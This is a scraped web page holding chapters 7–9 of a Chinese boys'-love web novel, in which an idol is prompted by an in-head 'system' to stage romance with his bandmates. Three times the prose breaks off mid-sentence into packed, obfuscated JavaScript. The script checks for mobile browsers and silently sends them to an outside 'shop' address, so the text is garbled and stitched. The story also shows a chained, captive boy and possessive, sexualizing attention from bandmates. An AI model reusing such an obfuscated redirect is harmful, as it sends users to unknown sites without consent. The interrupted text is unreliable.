d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944656|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥】。 纪时珩是哥哥。 鹤酌雪笑了,眼眸弯起是不掺杂任何阴霾的快乐雀跃,像终于扑腾起翅膀的小鸟,抬手指着提词板。 纪时珩回头,果然是【哥哥】。 他们这场游戏,唯一答对的词。 整个演播厅鸦雀无声。 观众惊呆了,他们看见【哥哥】时,第一反应是节目组又要卖一下“裴氏兄弟”,理论上鹤酌雪只要指向印谌就行了。 可是他说的是“纪时珩”,而且是毫不犹豫的完全下意识的。 我靠啊这啥意思啊! 原来你们说的死对头就是私底下都喊哥哥啊。 纪时珩看见答案的瞬间,心脏似乎停了一瞬,然后剧烈跳动起来。 那种跳动方式是竭力的不要命的,莽撞无理到似乎想从胸膛蹦出去,展示给不远处那个少年看,然后蹭进他手心,逼他收下这鲜血淋漓但可怜的为他跳动的一颗心。 纪时珩目光灼热,不知道自己现在该哭还是笑,他只是感觉自己完蛋了,情绪全被这个人左右。 他栽在鹤酌雪身上了,可他连这个人会不会要他都不知道。 就像他也不知道,鹤酌雪现在耳边是有声音的。 系统的播报。 【纪时珩卖腐值提升至30】 【纪时珩卖腐值提升至50】 【纪时珩卖腐值提升至100】 【恭喜宿主达成成就“百分百确定的他”,成就奖励:积分商城开启,100积分已发放至您的账户。】 鹤酌雪从喜悦中回神,得意地翘了翘唇角,对系统说:“超额完成任务,快点夸我吧!” 系统:【您之前是故意让他生气吃醋,情绪积压,再找一个时机释放,这样就可以让他瞬间的心理波动过大,从而获得卖腐值,对吗?】 它想,似乎是有点小看这个宿主了。 鹤酌雪只是“唔”了声,然后不好意思地嘀咕:“原来是这个原理吗,我不知道诶。” “我只是仿照了车上的流程,纪时珩生气,我喊他哥哥,然后卖腐值就上来了。” “我以为你看出来了呢。” 系统:【……】 好吧,宿主好像还是笨笨的。 但是,似乎在卖腐方面格外有天赋呢。 * 综艺录完已经接近七点,每个从演播厅出来的观众都无一例外脚步虚浮,眼中却闪着诡异的光,手指在屏幕上敲得嗒嗒作响。 后台,鹤酌雪正在卸妆,他也搞不懂纪时珩犯的什么病,非腻在他旁边看他卸妆。 也不讲话,就纯看,盯得鹤酌雪后背凉凉。 好想逃,但是被化妆师摁在座椅上呜呜呜。 鹤酌雪手机放在沙发上,轻微振动了一下,他还没出声,纪时珩就开口:“我帮你拿过来。” 他快步走向沙发,手机屏幕亮起,发来消息的人是谢辞慎。 因为消息很短,所以没解锁也在桌面显示了。 谢辞慎:[你的内裤。] 纪时珩猛然想起早上鹤酌雪说,他衣服落在谢辞慎家了。 他当是什么衣服呢。 原来是内、裤、啊。 7.弟弟还是金丝雀? 鹤酌雪见他拿着自己手机站在那里迟迟不动,不由蹙眉看他:“你发什么呆……捏那么紧干嘛这是我的手机!” 他给手机挑的特别漂亮的透粉玻璃壳,还挂着粉丝送的小白猫挂坠。 现在玻璃壳都要被捏碎了! 纪时珩哪管得了手机壳,他牙都快咬碎,满脑子想着谢辞慎会拿着这人的内裤做什么。 送回来时看上去干干净净,背地里指不定被什么脏东西碰过。 但鹤酌雪一蹙眉表现出不悦,他就下意识松了手,反应过来时自己都唾弃自己。 没名没分,就开始怕老婆。 纪时珩你又是什么好鸟。 但肯定比谢辞慎好,毕竟他还会体谅老婆。 他面无表情想,鹤酌雪那么小就独自出来生活,照顾不好自己丢三落四也很正常。 只是把一些小物件落陌生人家里而已,怎么可以怪他。 而且谁知道是不是谢辞慎那个贱人偷藏的,现在送回来做人情,借机和鹤酌雪拉进距离。 对,都怪那个贱人。 如果他真因为这件事和鹤酌雪闹别扭,反而中了谢辞慎的计。 于是他若无其事地把手机递给鹤酌雪。 鹤酌雪轻哼一声,先翻过来检查背面的玻璃壳,又心疼地摸了摸挂着的小白猫,最后才点开微信。 刚看清内容,那已经卸了妆越发显出清透白皙的面庞,就从锁骨处开始浮出粉色,极速攀升直到耳垂都通红欲滴。 活像颗剥了一半的荔枝。 鹤酌雪慌张地紧紧把手机贴到胸口,回眸羞愤瞪向纪时珩——他算是知道纪时珩刚刚在发什么呆了。 原来是知道了他的糗事,想着怎么作弄他呢! “你快点忘掉刚刚的事……” “回去我再帮你洗一遍。” 两人几乎同时开口,但纪时珩声音低沉认真一字一顿,听着格外清晰。 把害羞到想钻地缝里的鹤酌雪都听懵了: 洗什么,他的内裤吗? 这是在嘲讽他不会自己洗内裤吗? 还是说纪时珩有这个癖好? 鹤酌雪反应过来,当即谴责道:“你是变态吗!” “帮你洗……就是变态吗?”纪时珩嗤笑,顾忌着还有化妆师在便说得隐晦,慢条斯理。 眼睛却像狼盯着猎物,一瞬不动看着面前炸毛的少年:“怎么,谢辞慎洗得,我洗不得?” “你那玩意还认人吗?还是说我比他差在哪?” 什么叫谢辞慎洗得? 谢辞慎什么时候帮他洗内裤了? 鹤酌雪刚准备反驳就想起那条微信:对哦,谢辞慎又不可能还条脏裤子给我。 那他真真真……真洗了? 鹤酌雪被突如其来的羞耻击得木在那里了,像一尊黑豆眼的呆呆雪人。 恰好,化妆师终于把他的假发拆完了,两股战战松了口气,只觉得二位顶流的话题实在不是他能听的。 刚准备偷偷退出去,就见椅子上的雪人猛然弹起,抄起手机捂着脑袋窜出了化妆间,比兔子都敏捷。 边跑边喊:“你不许说了不许再提!我要禁言你!” 化妆间瞬间只留下尴尬的化妆师和纪时珩。 纪时珩扫了他一眼,化妆师比了个给嘴巴拉拉链的动作。 然后他眼睁睁看着这位传闻来娱乐圈只是为了体验生活的大少爷把鹤酌雪落在化妆间的小水杯,外套甚至他车上补眠用的眼罩都妥帖收拾好放进袋子里,才匆匆离开化妆间。 * “不让我洗,那你回去就把那条内裤扔了。” “你好吵啊能不能不要说了!” 两人回别墅自然还是坐同一辆车,上车开始纪时珩就一直和他讨要这个保证,听得鹤酌雪满脑子内裤,干脆闭眼敷衍他:“扔扔扔,扔在哪还告诉你方便你检查行了吧!” 在他看不见的时候,纪时珩嘴角翘了下:“行,告诉我。” 目睹一切的系统:…… 宿主,要不你睁眼看看呢。 这里好像真有变态啊。 七点半,汽车抵达别墅。 鹤酌雪跳下车,脸被冷风吹得刺痛了一下,也顾不得那么多就往别墅里面冲。 纪时珩举着他的围巾的手僵住,半晌又叠好塞回了袋子。 别墅里灯火通明,客厅却没有人,鹤酌雪“噔噔噔”跑上楼冲进房间,突然愣住,才意识到自己并没有问谢辞慎把他的衣服放哪了。 掏出手机,刚好看见谢辞慎发来了消息。 谢辞慎:[来我房间一趟。] 鹤酌雪决定当面问,走到谢辞慎房间门前又犹豫了。 车上被纪时珩打搅后逐渐淡去的羞耻感又泛上心头,只能庆幸他脸还冰着,应该不会被看出什么异样。 咬了咬唇,还是叩响房门。 几乎是在他指节落下的瞬间,门就开了,就像房间主人一直某个地方看着他,等待他。 谢辞慎是团里最高的,直逼一米九。鹤酌雪和他面对面时只能看见他的胸口,抬眸才瞥见他冷峻下垂的唇角。 表情淡淡的,永远一副漠不关心的高冷模样。 听一些粉丝提过,谢辞慎似乎有强迫症,洁癖还厌人。 就算鹤酌雪时不时回去他家借住,和他也称不上亲密。 何况谢辞慎还顶着替他哥看管他的名头,以至于鹤酌雪有点怵他。 所以在谢辞慎突然皱眉抬手时,他会下意识颤抖,轻轻闭上双眼——然后面颊就被温暖的手掌覆盖。 好舒服…… 对于刚刚被刺痛的脸,这实在是个安抚,因此鹤酌雪下意识蹭了蹭,闭起的眼睛也悄悄张开条缝。 完全没意识到这副模样和他口中的“不算亲密”大相径庭,像极撒娇耍赖的猫咪。 等他脸颊回温,谢辞慎才放下手。 表情也恢复平淡,垂眸看向一副被摸傻了,突然失去温暖源还没反应过来的鹤酌雪,淡漠开口:“知道为什么我叫你来吗?” 鹤酌雪思索:“叫我来拿衣服吗?” 他纠结一下,又试探开口:“那个,我的衣服是你洗的吗?”尤其是内裤。 他依旧抱有一丝幻想,希冀地盯着谢辞慎,眼睛亮亮的期待他给出一个否定的答案。 却见这位以冷漠傲慢著称的乐器手勾了勾唇角,说不出的讽刺冷嘲:“我洗?” 他抬手反锁上房间的门,将毫无准备的鹤酌雪抵上门板,欺身逼近,语气近乎质问:“鹤酌雪,你凭什么觉得我会帮你洗衣服?” “或者说,我以什么身份帮你洗衣服?” 两个问题将鹤酌雪砸得大脑CPU过载,还没加载出答案,谢辞慎就单手钳住他的肩膀,把人拽着摁坐在床上,又把平板塞进他手里。 打开的界面赫然是微博热搜,第一就是 #纪时珩鹤酌雪#[爆] 紧跟着一条 #原来是死对头啊我还以为是哥哥# 鹤酌雪脸被屏幕光照的雪白一片,光映在深黑眸中将原先的茫然和不知所措掩去,显出几分无机质的空洞。 鹤酌雪上过很多次热搜,单独的,ECHO整个团的。 单独和某位队友挂在热搜上少之又少,而且基本是黑热搜。 上次他和纪时珩一起挂上面,就是确定两人团内不和。 这次看上去却像……绯闻? 他指尖微抬,点进热搜。 [啊啊啊我磕疯了] [卧槽那声纪时珩喊的和老公有什么区别] [团内不和是假的,团内恋爱是真的!] …… 热搜还关联一个超话,叫[积雪cp],同样显示近日热度飙升。 所以……这是他和纪时珩卖腐卖大了的意思吗? 系统:【对,不然单独任务对象心理波动还是很难直接让卖腐值涨到100的,一定是因为更多人认可了你们,卖腐值才会飞升。 现在你和纪时珩,已经算爆款cp了呢。】 “哦。”鹤酌雪对这一事实接受良好,他只是不明白。 这件事和谢辞慎又要什么关系呢。 鹤酌雪是个有问题就会问的直性子,他讨厌拐弯抹角,讨厌卖关子。 也讨厌刚刚谢辞慎捏他肩膀的力道。 很痛。 所以连带着语气也不好,抬脸看向他时,表情透着天真的漠然,那张极精致的脸一旦露出疏离的意味,就越发漂亮不似凡人,像只不通情爱,肆意拨乱人心的精怪。 他轻声开口,是真切的疑惑:“你在生气吗,生这个热搜的气?” “那我是不是也可以反问你,以什么身份生气呢?” 鹤酌雪歪头,羽睫翕动两下,等他的回答。 谢辞慎张了张口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962402|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝视着这双似乎有夺人心魄能力的眼睛。 他太着急了,以至于又忘了,鹤酌雪并不是什么可爱单纯的天生偶像。 甚至在三年前,他还是一个看似无害,话都说不明白就能让人为他疯魔寻死觅活的——“玩具”。 谢辞慎得知鹤酌雪存在很早,从学校那个异军突起大放异彩的转校生口中。 转校生是少有,学业成绩上能比得过他的人,因此被允许进入他的社交圈。 谢辞慎觉得这种人理应骄傲,就像他一样。 可事实是——这人是个不超过三句话就要开始大聊特聊自己宝贝弟弟的究极弟控。 谢家亲缘关系单薄,谢辞慎也有几个名义上的弟弟,全是私生子,各个蠢笨不堪。 他并不能理解怎么有人能将弟弟夸上天,好像离了弟弟就不能活。 听说这个弟弟甚至和他没有血缘关系。 这看上去并不像聪明人会做的事。 谢辞慎敬而远之,只和转校生保持着普通的朋友关系。 没想到有一天,转校生会找到他,拜托他一件事。 转校生是在连续两周没来上课后,突然找到谢辞慎的。 开口就是:“我要杀一个人,杀完应该会被送到国外,在我回来之前,麻烦帮我照顾我的弟弟。” 谢辞慎很讶异,他所了解的转校生是个相当正面,甚至算得上爱心泛滥的人。 他竟然会想要杀人吗? 可是讶异归讶异,谢辞慎并没有莫名其妙多个弟弟的打算。 正准备拒绝,就对上转校生的眼睛:血丝遍布,压抑着难喻的痛苦,明明是在求他办事却没有半分恳请的意味。 只是木然的,神经质的,焦虑的。 让他联想起神话中的西西弗斯,为了一个不可能达成的目标陷入徒劳无用的循环。 谁把转校生逼成这样的? 谢辞慎难得的,有点好奇。 于是他同意了。 转校生便带他去见了自己的弟弟。 那是一栋被维护很好的二层小洋楼,没有仆人,只有转校生和他弟弟居住在这里,布置温馨宜居。 地理位置却过分偏僻。 “因为我要保护他……他太脆弱了。”转校生这样解释,带着他进了屋子,然后直奔二楼。 二楼比起一楼布置的更加奢华,地面都被柔软地毯覆盖,踩上去就像陷进云里——家中就算有婴儿,这种保护措施也够了。 谢辞慎猜,这个弟弟应该年级不大。 不会是需要喂奶,天天吵着要吃手指饼干看动画片的小屁孩吧? 谢辞慎面若寒霜,他有点后悔了。 转校生在一扇门前站立,放缓呼吸,才按下门把手。 就像房间里的不是他弟弟,而是只随时会因为过大声响应激死去的脆弱动物。 谢辞慎无聊地抬眼望去,这个房间布置也一应俱全,最显眼是中间那张床,层层叠叠的奶蓝色纱幔罩住,华丽得像玛丽苏电视剧里的公主床。 床榻上端坐着一个少年,谢辞慎的角度只能看见他长及锁骨的柔软黑发,弧度完美的下颌线以及发梢遮掩的白皙到近乎透明的脖颈。 他正在看书,即使有人进来,也没做出半分反应。 直到转校生缓步上前,拉开纱幔,少年才像从自己的世界走出,偏头看向他们。 露出一张,言语难以形容的美好脸庞。 硬要说,他漂亮到让人怀疑其存在本身的真实性,就像场绮丽的梦境,因为易碎反而引人沉溺。 总之,一切保护措施现在似乎都变得合理起来,甚至不够。 谢辞慎强迫自己将目光从那张脸上移走,才注意到少年的穿着——这是什么,睡裙吗? 他不是男孩子吗? 目光再下移,才明白原因。 少年纤瘦苍白到似乎一折便断的脚踝上,扣着条细细的链子,另一端就系在床尾。 锁链很长,几乎不会让他感到不适,也将他的活动范围限制在这个房间内。 束缚但放纵,控制却纵容。 ……如此暧昧。 谢辞慎短促地笑了声。 他再次将视线放到他以为的,正直热忱的转校生身上,语气是自己都没意识到的刻薄寒凉: “你说的弟弟,到底是弟弟,还是你的金丝雀,小情儿?” “你真恶心啊。” 8.公主殿下好热情 明明端的是一副关心溺爱的兄长模样,可少年的穿着恰说明这条锁链从扣上就没被摘下来过——裙子就是为了换衣服时不用解开脚链。 谢辞慎见过一些家里养小鸟的权贵,链子之类也只是增添情趣用,除了个别性格烈到不行的,要用这方法管教。 少年显然不属于那类,被扣着的那截脚踝纤细洁白,皮肤嫩到几乎能看清足背上青色的血管,是极易留下印记的模样,却连一丝挣扎后留下的红痕也不见。 好像于他而言,束缚自由的银色细链也不过寻常饰品,只是略显粗糙廉价,有些委屈他罢了。 谢辞慎没觉得转校生真对少年做过什么,不然他现在已经报警了。 但这条细链的存在就已经说明转校生精神心理方面都有问题。 转校生对他的冷嘲充耳不闻,俯身轻柔地在少年头上揉了两下,少年也任他揉搓,乌黑发丝微微翘起,茫然懵懂。 看得谢辞慎手心发痒。 虽然他一向不屑于触碰别人碰过的东西,但如果少年现在开口向他求救,他或许会大发善心帮帮他,把转校生扯倒在地对着那张道貌岸然的脸来两拳。 可少年没有,他那样乖,全心全意看着自己的兄长,像一只误入虎穴的小白猫,被叼着后颈皮舔到湿漉漉也只会喵喵叫。 指甲掐进手心克制住那股痒意,谢辞慎耐心有限,垂下眼皮不愿再看这“兄友弟恭”的温情场景,转身要走。 “不是你想的那样。”转校生终于开口,他恋恋不舍把手从少年头上收回,扭头看向谢辞慎时,眼底的红血丝似乎淡了些,总归不是先前那副随时会崩溃的疯癫模样,脸上情绪也淡。 “小雪只是我的弟弟,他……很少见人,如果在我上学时独自出门很容易遇到危险。” 转校生说到“危险”两字时,上下牙很不明显地磨了一下,又有些失控的预兆。 回头看了眼继续安静看书的少年,才平复下来:“帮我照顾他,报酬不会让你失望。” “我们出去谈。” …… 谢辞慎确定这是笔令人无法拒绝的交易。 他点头算是接下这个任务,难得善解人意:“我需要再上去和他聊聊吗,或许他有自己的想法。” “不必,他的午休时间到了。”转校生露出个无奈又纵容的笑:“甚至阅读时间也超了,我刚刚下楼时就应该把他的书没收,他看入迷就舍不得闭眼,要我哄着才肯睡。” 谢辞慎颔首,不置可否。 他心想转校生就算不疯,也啰嗦得不正常。 比如明明没有人问少年需不需要哄睡,他就自己说了一大堆。 有这种哥哥,少年真的不会嫌烦吗? 下次见面可以问问。 一周后,转校生办理了退学手续,谢辞慎的私人手机也收到了小洋楼的大门密码。 他将带来的保镖全留在一楼,独自提着装有新衣服的袋子上楼,敲门,无人应答。 也没有任何锁链摩擦的声音。 谢辞慎皱眉,本身冷淡的眉眼间结了丝郁气,果断摁下门把手——房间和他上次来没什么区别,只是地上多了根孤零零的细链,一端扣在床尾,一端空无一物。 床上还有一根录音笔,存着转校生留给少年的话。 少年失踪了。 小洋楼周围所有监控七天内的录像都被调查了一遍,没有捕捉到任何少年的身影,连谢辞慎自己都开始怀疑,这个人真的存在吗? 他尝试过联系转校生,但和少年一样,这个人出国后就再没有任何消息传回来,完全人间蒸发。 ……太蹊跷了。 寻找少年的事被他安排在暗中进行,持续了一整年。 直到ECHO组建那天,他坐在会议室百般聊赖,等待传说中的第五位成员。 蒋寻先进门,跟在他身后的少年安静,沉默,眉眼昳丽精致到令人对所处世界的真实性产生怀疑。 皮肤尤其白,因此面无表情站在那就自带一份矜贵的冰雪气,又没那么冷。 更像古诗文中,夜半透过枯枝落了满地的月光,疏疏落落形成的残雪幻象。 幻象,雪。 蒋寻笑着开口:“这是鹤酌雪,大家以后就是一个团里的了哈……” “他不会说话吗,还用你介绍?” 谢辞慎打断蒋寻的话,看向进来后自动找了个墙角倚靠着疑似发呆的鹤酌雪,淡声道:“我们团里不需要哑巴。” 鹤酌雪眼睫轻抬,如梦初醒般,乌眸扫过会议室所有人。 即使被故意给难堪,他好像也没有生气的模样,说不上是迟钝,还是傻到听不出别人话里带刺。 谢辞慎有些走神,可惜这张脸生在个不会利用它的人身上。 身旁的纪时珩突然捣了他一下,懒洋洋拖着嗓音:“新成员看你呢,谢大少爷给点回应啊。” 谢辞慎抬眸,对上漆黑干净的一双眼睛。 雪捏出来的漂亮人偶,冲他弯了嘴角,细声细气:“我好像见过你。” 谢大少爷僵住了,心里划过一个诡异的念头——说话语气确实像小猫叫。 但是声音……很好听。 既然还知道认人,脸也就不算白长。 “我问你问题呢,为什么走神!”鹤酌雪抬手扯住他的衣袖不满地晃了两下,力道不重,就像在别人工作时翘着尾巴踩过手背的家猫。 单纯的博取关注而已。 谢辞慎垂眸,看着床上的人眉头微蹙略微气恼的表情,生动鲜活,和两年前那个突然出现,总爱发呆神游的空降男团队员不一样。 和那个被扣在床榻上,娇养在小洋房中精致却情感淡漠的瓷人偶更是扯不上关系。 现在的鹤酌雪是经聚光灯洗礼,被粉丝簇拥,一举一动都能获得无数粉丝喜爱,尖叫追捧的顶流偶像。 是沐浴在爱中闪闪发光,不再吝啬情绪表达的大明星。 ……似乎有点太爱表达了,所以对着队友喊“哥哥”也轻而易举,完全意识不到这样行为可能带来的连锁效应,也看不见他那“好哥哥”眼底的肮脏欲.念。 谢辞慎反握住那还牵着他衣袖的纤白手指,用揉开小动物爪子的方法逼他张开五指,与他交缠,冷声问:“鹤酌雪,我现在在干吗?” 本来等不到答案已经准备回房间,莫名其妙就被牵住手的鹤酌雪:…… 谢辞慎又在犯什么毛病哦。 他试图翻个大大的白眼,但是因为乌黑的眼仁占比大,根本翻不上去,嘲讽的意图没达到,反而显得笨拙好笑:“你在和我牵手啊。” 谢辞慎盯着他,表情复杂。 是啊,这人连“牵手”和“十指相扣”之间的差别都分不清,又怎么能分清“哥哥”这个称呼代表的不同含义。 谢辞慎想起自己看见热搜瞬间狂乱跳动的心脏和怒不可遏想把人关起来的念头,第一次怀疑起自己的智商。 但他还是想再确定一点:“所以你喊纪时珩哥哥,只是因为和他比较熟加上他年纪比你大吗?” 鹤酌雪挑眉看他,有些无语:“难道我会对所有比我大的人都喊哥哥吗,我要那么多哥哥干什么?我喊他哥哥当然是因为……” 他趁着停顿的瞬间,将自己的手从谢辞慎指间抽出,然后弯腰,像条灵活的小鱼从谢辞慎臂下溜走。 谢辞慎再想抓他已经来不及了,只能看着他溜到门边,扭头弯唇,笑容狡黠:“当然是因为,我要和纪时珩卖腐啦。” 鹤酌雪轻飘飘撂下这半句话,顺利看见谢辞慎骤然铁青难看的脸色,轻哼了声。 他可记仇的很,谢辞慎今天捏了他肩膀,刚刚又未经同意就牵他手。 两个行为都让鹤酌雪不舒服,那他自然不能顺着谢辞慎的话肯定他的想法。 气他,狠狠气他! 完成简单报复的鹤酌雪头也不回地拉开房门要溜,下一秒鼻子就撞上堵半硬不软的肉墙,瞬间的酸麻叫他泪花都出来了,后退半步抬头捂着鼻子,气恼瞪着门口的人。 此人长着双似笑非笑的狐狸眼,看见鹤酌雪的可怜样反而努了努嘴,啧啧两声,感叹道:“公主殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995212|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下好热情,为了迎接我归团甚至弄伤自己?” “惭愧惭愧,没有保护好公主殿下是我的失职。”还装模装样的叹气,嘴角却是勾着的。 他就是ECHO的舞担,颜谡。 当初得知鹤酌雪要求超豪华睡眠环境,就带头喊“豌豆公主”的也是他。 鹤酌雪本来鼻子就痛,听见这句怪声怪气的“公主殿下”,更是没了好脸色,抬起下巴故作娇蛮:“知道了还不给本公主让路。” 你再多堵一会,后面的谢辞慎就可能过来拎着我揍呀,到时候你负责吗? 颜谡依旧是那副叫人牙痒痒的欠揍表情:“放您回去研究怎么卖腐吗?” 他低头,微凉手指轻轻触了触鹤酌雪泛起红色的鼻尖,揶揄道:“如果破相的话,卖腐可就不好看了。” 鹤酌雪瞪大了眼睛。 这人究竟听见了多少? 系统:【不多,也就你和谢辞慎牵手之后的剧情。】 鹤酌雪两眼一黑。 他是要和所有人卖腐,但是要缓卖,慢卖,有节奏地卖。 刚刚直接告诉谢辞慎纯粹是为了气他,可如果所有人都知道他要卖腐,反而躲着他怎么办? “你以为放他回去研究,那个脑子就能卖出什么新花样?”身后传来谢辞慎的冷嘲声。 他反应过来就知道鹤酌雪刚刚是故意那么说的,现在只是心烦于自己的不冷静,但说出口的话却像在嘲讽鹤酌雪。 鹤酌雪愤怒回头,眼神炯炯,一副要扑上去挠人的模样——什么叫他的脑子! 他难道很笨吗? 谢辞慎迎上他的目光,耸了耸肩,颜谡也若有所思地点了点头,给他让了位置。 鹤酌雪这下真的生气了。 至少系统是这样感觉到的。 它甚至听见了宿主强烈的心声:“等着吧,我一定狠狠卖腐吓死你们!” ……竟然只是这个目标吗? 【宿主加油,我相信你。】 “只有系统你是好的,你和别人一点都不一样!”鹤酌雪回到自己房间,飞扑上床,随手抓了个枕头骑在身下,假装这是谢辞慎或者颜谡随便哪个,恨恨用脑袋拱了两下。 衣服随着他的动作蹭起,露出小半截细腰,脊背线条漂亮。 系统:【……】 这个姿势多少有点奖励他们了。 一旁的手机轻微震动,鹤酌雪抬头,软白脸颊被枕头挤出了红印子,看起来更闷闷不乐了。 打开微信,是纪时珩的消息。 纪时珩:[衣服扔了吗?] 鹤酌雪终于想起来他去找谢辞慎,目的是要问清内裤到底是谁洗的。 结果到那先是被质问,又是被动手动脚,正经事反而没干成,得不偿失。 都怪谢辞慎……也怪纪时珩。 如果他不提的话,鹤酌雪根本不会想那么多! 鹤酌雪怒上心头,屏幕被他敲得嗒嗒作响:[被狗叼走了行了吧,问问问就知道问,福气都让你问没了!] 纪时珩正在逛超话,看见消息手比眼快直接点了进去,然后遭了劈头盖脸一顿骂。 原先杀气腾腾的眼神都被骂清澈了,刚想问问谁又招惹了这小祖宗,又觉得时机不对,就憋了回去。 开小号继续跟鹤酌雪的唯粉对线,一张嘴能顶十张,喷完还玩阴的举报别人的评论:[你td懂个屁的爱情,jsh跟hzx天造地设一对,jsh都能给hzx洗裤头!] 不管了,先把谢辞慎干的事揽自己身上,这样他们家以后挖糖挖到这个也不能用。 纪时珩冷酷地想。 又切到微信页面哄人:[被狗叼走,哥给你买新的,别生气了。]说完甩来几张购物截图。 白色的,上面还带花边蕾丝和小草莓。 鹤酌雪:[……] 系统替他说了想说的话: 【什么雷霆审美?】 但如果是宿主穿的话,好像还挺可爱? 这句系统没说,因为宿主看上去有点想咬人了。 9.不要玩烂梗了好吗好的 鹤酌雪露出磨牙嚯嚯向队友的表情,恨恨道:“纪时珩一定在嘲笑我。” 不然他为什么要给他挑那种衣服? 就算是他哥,也很早就不会给他买带那样幼稚图案的小衣服了! 鹤酌雪抓狂地在床上打滚,咿咿呀呀乱叫,别墅暖气很足,他回房间就换了家居服,婴儿蓝的纯棉布料,质地柔软,现在裤脚被蹭得上翘。 原先被他夹在腿间的枕头也随着他翻身的动作被掀翻,露出被闷红的大腿内侧软肉,莹润粉白,细腻像草莓牛奶冰,任谁看见都会想把脸埋进去试试到底有多滑多软。 鹤酌雪丝毫没有意识到。他闹了一通,又有点气闷,鼓着脸颊,抿唇委屈巴巴和系统对话:“难道我真的很幼稚吗?” 系统这才发现,它家宿主脑回路好像和它想的不一样。 比如,鹤酌雪生气并不是因为害羞,或者感到被调戏冒犯,只是单纯的觉得,他被小瞧了。 他似乎缺少某些方面的常识,但是在一些方面又堪称固执,也能说是纯粹。 【为什么会这样想呢?】就算是住在脑子里的系统,此时也有点琢磨不透。 “嗯……去年ECHO宣布解散,对外只是宣称为了队员更好的发展,但是我知道,其实有很大一部分原因在于我。” 鹤酌雪语气轻缓,像在讲述一个无趣平淡的老套故事:“所有人都觉得那时候我撑不下去,我不能再跟团活动,我的心理出问题了,我继续在ECHO待下去会疯掉的。” 他抬眸望着天花板的吊灯,肤色雪白,乌发自然铺开在床单上,发尾细韧光泽,不规则分散开,竟然有几分形似树的枝桠,沉默而坚定地向着天空生长。 “哪怕我告诉他们,我没有他们想象中那样难过,没有那么脆弱,大家也不愿意相信我。这当然不是他们的错,他们只是太关心我太喜欢我了。”他顿了下,轻声道:“这是我的问题,我给他们留下了那样的印象。” “所以我想着,单独活动一年,我要成长,证明给所有人看,我承受的住他们的喜欢,也接得住流言蜚语。” 所以进剧组救场,连轴转半个月累到靠在助理肩膀上就能睡过去,也没关系。 所以合作的演员老是NG,为了保持戏感,一次次躺进雪里也没关系。 所以发着烧还要看论坛上阴阳怪气的言论,总是被拉来当噱头也没关系。 因为都是很正常的,他也是可以承受住的。 而笑容只需要留在乎他的粉丝就好了。 鹤酌雪确实不善言辞,他语言组织能力很差 ,偏偏这时说话却又很流利认真,像很久就把这些句子在心中过了千万遍,只等讲给一个人听。 可惜这里没有其他人类,只有一个冷冰冰的系统。 系统虽然无法分析这样复杂的感情,却擅长倾听。 鹤酌雪歪了歪头,长睫微垂,几次颤抖让人怀疑下一秒就会有泪珠从那双黑曜石似的眼眸中滚落。 但是没有,就像他说的,他已经不会因为一些小事而哭泣了。 “我真的很努力了,可纪时珩还是拿我当小孩,谢辞慎也不把我当回事,想把我往哪按就往哪按。颜谡永远笑眯眯然后说一些让我生气的话。队长……队长挺好的,但是他其实对谁都一样吧。” 鹤酌雪下定结论:“总之,他们都不把我当回事,也不太喜欢我。” 系统一直在安静的听,听到这句才有点憋不住:【他们没有不喜欢你吧?】 宿主讲述经历时好可怜好想抱抱,但是宿主木头的时候也真的让人无奈。 鹤酌雪趴到床上,两条细直小腿翘着一晃一晃,白得耀眼,轻哼道:“我知道你在哄我,但是我真的不在意,他们喜不喜欢我都行,反正我们只是同事。” 他又严谨地补上一句:“除了一起唱歌跳舞,还要卖腐的同事。” 系统忍不住腹诽:他们几个在意,在意死了。 但是鹤酌雪现在看上去确实心情很好,尤其是觉得自己被哄时,眼角眉梢会不自觉流露出一点小嘚瑟的张扬,唇边也勾起弧度。 它也不忍心破坏这样的氛围,顺着他的话:【你开心就好,对了,你为什么一直不问我有关积分的事?】 鹤酌雪腿不晃了,眨巴着眼睛茫然道:“什么积分?” 系统:【……】 原来是忘了啊,它还以为宿主真的视积分如粪土呢。 【第一位卖腐值达到100的任务对象出现,积分商城开启。宿主可以用积分在积分商城兑换自己想要的物品,也可以将积分转化为我的系统能量,让我为你做事。】 【咳,当然我个统觉得,将积分投给我的性价比要高很多,宿主可以酌情分配啦~】 向来机械平稳的电子音,为了积分竟然说出了波浪号! “我还以为系统你是无所不能的呢,原来还需要积分呀。”鹤酌雪惊讶。 系统被他夸得飘飘然:【虽然本来就很厉害,但是有积分会更强啦,所以宿主要不要……】 鹤酌雪捧着脸煞有其事地点头,在系统无形的期待目光下果断道:“先看看商城。” 系统:【……】 调戏一个系统? 但它还是打开了商城界面。 荧蓝色的面板在鹤酌雪眼前展开,上面陈列的商品密密麻麻琳琅满目,高端到火箭卫星太空站,低俗到无法过审之物——但是都很贵。 动辄500积分往上。 鹤酌雪从头翻到尾,发现只有几件衣服是自己买得起的:高定水手服,粉嫩护士装,专业兔妹妹。 